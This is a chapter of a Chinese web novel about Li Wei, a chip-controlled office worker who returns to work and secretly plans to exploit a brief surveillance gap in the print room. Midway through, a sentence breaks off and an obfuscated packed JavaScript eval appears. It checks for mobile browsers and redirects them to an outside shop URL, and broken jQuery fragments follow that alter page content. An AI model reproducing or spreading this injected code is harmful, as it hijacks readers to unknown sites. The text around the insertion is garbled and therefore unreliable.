重返工位的过程，顺利得近乎诡异。
周明达一路陪同，脸上挂着无可挑剔的笑容，不时与路过相识的同事点头致意，甚至主动替李伟推开项目部厚重的玻璃门。门内熟悉的环境扑面而来——略低的空调温度，空气中漂浮着的咖啡与纸张混合的气味，略显凌乱的隔间，还有那些或专注或疲惫的熟悉面孔。
所有人的目光，在门开的瞬间，齐刷刷地投了过来。那些目光里包含的东西太多：好奇、审视、不易察觉的警惕、一丝淡淡的同情，以及更多迅速掩饰起来的、事不关己的疏离。李伟，或者说，工具编号007，以及他为期数日的“观察”，显然已是公开的秘密。
“各位，李工回来了！”周明达朗声宣布，语气轻快，“一点小波折，现在都解决了。李工的专业能力和奉献精神，公司一直是高度认可的。大家欢迎！”
稀稀落落的掌声响起，更多的是沉默的注视。项目经理王总监从独立办公室走出来，脸上带着一种混合着公事公办和如释重负的表情，他用力拍了拍李伟的肩膀：“回来就好！正好，‘天穹’项目第二阶段的数据清洗攻坚缺个主力，就交给你了，下午对接会资料发你邮箱。”
没有寒暄，没有询问，直接切入工作。仿佛李伟只是休了一个短暂的、微不足道的病假，而不是经历了一场可能被“报废”的危机。
李伟微微点头，声音平稳：“好的，总监。” 他走向自己的隔间。工位和他离开时几乎没有变化，甚至那盆半死不活的绿萝还摆在原位，只是叶片边缘的枯黄又多了些。电脑屏幕亮着，显示着待登录界面。他坐下，熟悉的工学椅发出轻微的承重声响。
周明达又低声与王总监交谈了几句，最后对李伟笑了笑，转身离开。玻璃门合拢，将外面世界的目光隔绝。办公室里的气氛似乎松动了一瞬，但很快又被键盘敲击声和低低的电话交谈填满。没有人主动过来和李伟说话。
他登录系统，内部通讯软件自动弹出几条未读消息。有行政部发来的“欢迎回归”模板邮件，有系统通知的待办事项列表更新，还有两条来自平时关系尚可的同事的私信，内容简短：
“回来了？没事吧？”——张磊，配了个握手的表情。
“李哥，晚上有空吗？聊聊？”——赵晓慧，后面跟着一个咖啡馆定位。
李伟的手指在键盘上停顿了一下。芯片快速分析着这两条信息的潜在意图、社交惯例以及可能的后续发展。按照最优“人际协作效能”模式，他应该给出积极但保有距离的回复。他敲下回复：
“谢谢，已恢复。项目紧急，改天。”
“暂有安排，下次。”
标准，得体，无懈可击。发送。
他点开“天穹”项目的资料，海量的数据和复杂的逻辑关系瞬间涌入视野。几乎是本能地，芯片开始高速运作，帮他分解任务、识别模式、规划最优处理路径。他的手指在键盘和鼠标间移动，快得带出残影，屏幕上的窗口以惊人的速度打开、处理、关闭。效率甚至比“观察”前更高，一种冰冷、精准、无情的流畅。
但在这高效运转的表象之下，一些细微的“异样”感，如同水底的暗流，悄然涌动。
首先是身体。久坐之后，腰部传来一种不同于以往单纯疲劳的、更深的僵硬和钝痛，像某个承重关节的润滑油提前耗尽了。指尖在连续快速敲击后，会有一丝难以察觉的麻木感，仿佛神经信号的传递出现了亿万分之一秒的延迟。后颈芯片的位置，虽然不再有灼痛，但总像有个异物硌在那里，时刻提醒着它的存在。当他转动脖颈时，能听到极轻微的、仿佛金属摩擦的“咔”声，来自颈椎深处。
其次是感知。办公室里的声音——键盘声、谈话声、空调风声、椅子挪动声——变得异常清晰，却又似乎隔着一层薄膜。他能分辨出远处同事修改方案时烦躁的咂嘴声，能听到斜对面女同事拆开零食包装袋的悉索声，但这些声音失去了它们通常附带的情感温度或意义关联，只是作为分贝、频率和来源方位的数据被接收。咖啡的香气闻起来也过于“分明”，他能拆解出其中咖啡因的微苦、奶精的甜腻、以及纸杯本身淡淡的木质气味，却无法唤起以往那种提神或放松的感觉。
最难以言说的是思维的空洞。处理“天穹”项目数据时，他无比高效，但当一个问题解决、窗口关闭、等待下一个任务加载的短暂间隙，他的意识会陷入一片绝对的空白。不是放松，不是走神，而是一种被彻底“清空”的状态，没有任何杂念、回忆或漫无目的的联想升起。就像一台处理完当前指令后、立刻进入深度待机的机器。这空白让他感到一丝……寒冷。
午休时间，他去了楼下的“高效能量补给站”。排队时，他无意间瞥见玻璃幕墙外街道上的行人。一个穿着鲜艳连衣裙的小女孩蹦跳着走过，手里牵着气球。李伟的目光跟随了那抹鲜红两秒。芯片没有发出警告，因为“观察外界动态”可以被解释为“放松视觉神经、预防疲劳”。但就在这两秒里，一种极其微弱、几乎无法捕捉的“感觉”，像一粒微尘飘过心湖——不是关于童童的具体联想，也不是情绪，只是一种……对“鲜活色彩”和“无目的运动”的……刹那的“注意”。
这“注意”本身，就是一个微小的异常。
下午的对接会，他表现完美。陈述条理清晰，回答问题一针见血，甚至预判了合作方两个潜在的技术质疑，提前准备好了数据佐证。项目组的同事看他的眼神更加复杂，钦佩中带着更深的隔阂。王总监频频点头，显然对这颗“螺丝钉”的复位效果非常满意。
会议结束，回到工位。李伟看了眼时间：下午四点二十七分。距离通常的下班时间还有一个多小时。他的任务列表上还有三项待办，以他现在的效率，大约四十分钟可以完成。
他却没有立刻开始。
他的目光，落在了办公桌角落那个不起眼的、印着公司logo的电子台历上。日期显示清晰：**周四**。
明天，就是周五。
上午十点。
打印间。十五分钟。监控重启。
那个基于冰冷逻辑拼凑出的“可行性窗口”，像一个预设好的程序，在日期条件满足的这一刻，自动从意识深处被调取出来，呈现在他思维光洁的桌面上。
他需要计划。更具体、更可行、哪怕成功率依然渺茫的计划。
第一步：如何离开工位，在不引人注意的情况下前往B区2层的打印间？正常的打印需求是个理由，但需要合适的时机和打印任务作为掩护。
第二步：如何确保在十点前后进入，并利用那十五分钟？必须对打印间的内部布局（尤其是东侧老式一体机的位置）、监控摄像头角度、以及消毒维护人员的行动规律有更具体的了解。
第三步：也是目前看来最不可能的一步：如何获得临时权限，接触那个维修接口？吴工程师暗示过权限卡他无法提供。而“初代体”和“08-C”更是迷雾重重。
一个个问题冰冷地罗列。没有焦虑，只有分析。
李伟的手指无意识地摩挲着鼠标。他的目光扫过办公室的环境，大脑在芯片的辅助下，开始以近乎扫描的方式收集信息：同事们各自的状态和大致离开时间规律；王总监办公室的门开关频率；楼层平面图的回忆（B区与目前所在A区的连接通道位置）；以往去打印间的经验（通常需要刷工卡，但人流高峰时有时门会暂开）……
他就像一台在既定程序外，悄然启动了一个隐蔽子程序的机器，利用一切可用的传感器和计算资源，为这个高风险行动进行着无声的推演。
下班时间到了。同事们开始陆续收拾东西，低声交谈着晚上的安排。李伟完成了最后一项任务，关闭电脑。他的动作不紧不慢，和往常一样。
起身时，他的目光再次扫过那个台历。
周四
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070470|195199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他拿起那个几乎没碰过的水杯，走向茶水间清洗。路过行政部附近的公共资料架时，他停下脚步，装作随意浏览的样子，指尖却快速翻过几份无关紧要的流程手册。他的目光落在一份《楼层设施月度维护排期表（部分）》的打印件上，那是行政部贴出来供大家知晓的。他的视线迅速锁定了B区相关部分。
【B区2层文印中心】
- 常规清洁：每日早晚各一次
- **设备深度维护与环境消毒：每周五 10:00-10:15（鸿洁服务公司）**
- 耗材补充：依申请
- 故障报修：内线XXXX
鸿洁服务公司。外聘的清洁维护人员。这意味着那十五分钟里，在场的可能不是公司内部安保或IT人员，而是外部承包商。他们的警觉性和对内部系统的了解，可能相对较低。
一个极其微小的有利变量。
他将这份信息牢牢记住，然后若无其事地离开。
走出公司大楼，傍晚的空气比室内浑浊，却带着鲜活的城市气息。李伟站在路边，看着车水马龙。芯片立刻提供最优回家路径建议：地铁三号线，预计耗时38分钟。
他没有立刻走向地铁站。而是转过身，朝着与地铁站相反的方向，走了大约两百米，来到一家不大的便利店。他走进去，买了一个最普通的面包和一瓶矿泉水。收银员是个年轻女孩，低头刷着手机，机械地结账，甚至没抬头看他一眼。
李伟拿着东西出来，就在便利店门口的塑料椅上坐下，慢慢撕开面包包装，小口吃起来。味道很淡，咀嚼的肌群运动被芯片精确控制，以最有效率的方式完成进食。
他坐在这里，不是为了品尝，也不是为了休息。
他只是需要一点时间，待在一个完全与公司环境无关的、无人认识他的、也无特定目的的地方。让芯片的“工作效能优化”模式暂时失去明确的标的。
晚风拂过脸颊，带着汽车尾气的味道。街对面，一家理发店的霓虹灯开始闪烁。几个中学生嬉笑着跑过。
李伟慢慢地吃着面包，喝着水，目光没有焦点地看着眼前的街景。
芯片依然在运行，但似乎因为缺乏明确的“任务指令”，而进入了一种低功耗的、广域感知的状态。那些街道的嘈杂，灯光的变换，行人模糊的面孔……作为无序的数据流涌入，不再被急切地分析和归类。
就在这片略显混沌的感知中，一个声音突然穿透了背景噪音，清晰起来：
“……妈妈，我明天幼儿园有画画课，老师说可以画自己最喜欢的东西！”
一个被母亲牵着手的小男孩，仰着头兴奋地说。
“哦？那宝宝想画什么呀？”母亲温柔地问。
“画爸爸带我放风筝！风筝飞得好高好高！”
声音远去了。
李伟咀嚼的动作，极其轻微地停顿了半秒。
风筝。飞得高。
没有具体的画面联想，没有情绪波动。但“风筝”这个意象，以及“飞得高”这个状态描述，像一颗小石子，投进了他意识深处那片被芯片压制着的、沉寂的“记忆-情感”湖区。
湖面没有泛起涟漪，但似乎有那么一瞬间，湖底的淤泥微微松动了一下。
仅仅是一下。
李伟咽下最后一口面包，将包装纸和空水瓶丢进垃圾桶，站起身。
芯片重新锁定目标：回家路径。
他迈开脚步，汇入下班的人流。
明天是周五。
上午十点。
一个漏洞，一个机会，一个可能通往毁灭也可能通往未知的裂隙。
他需要睡眠（或者说，需要充电椅上的有效休整），以最佳状态面对明天。
夜晚的城市灯火次第亮起，将他的影子拉长，又缩短。
他走得很稳，一步，又一步。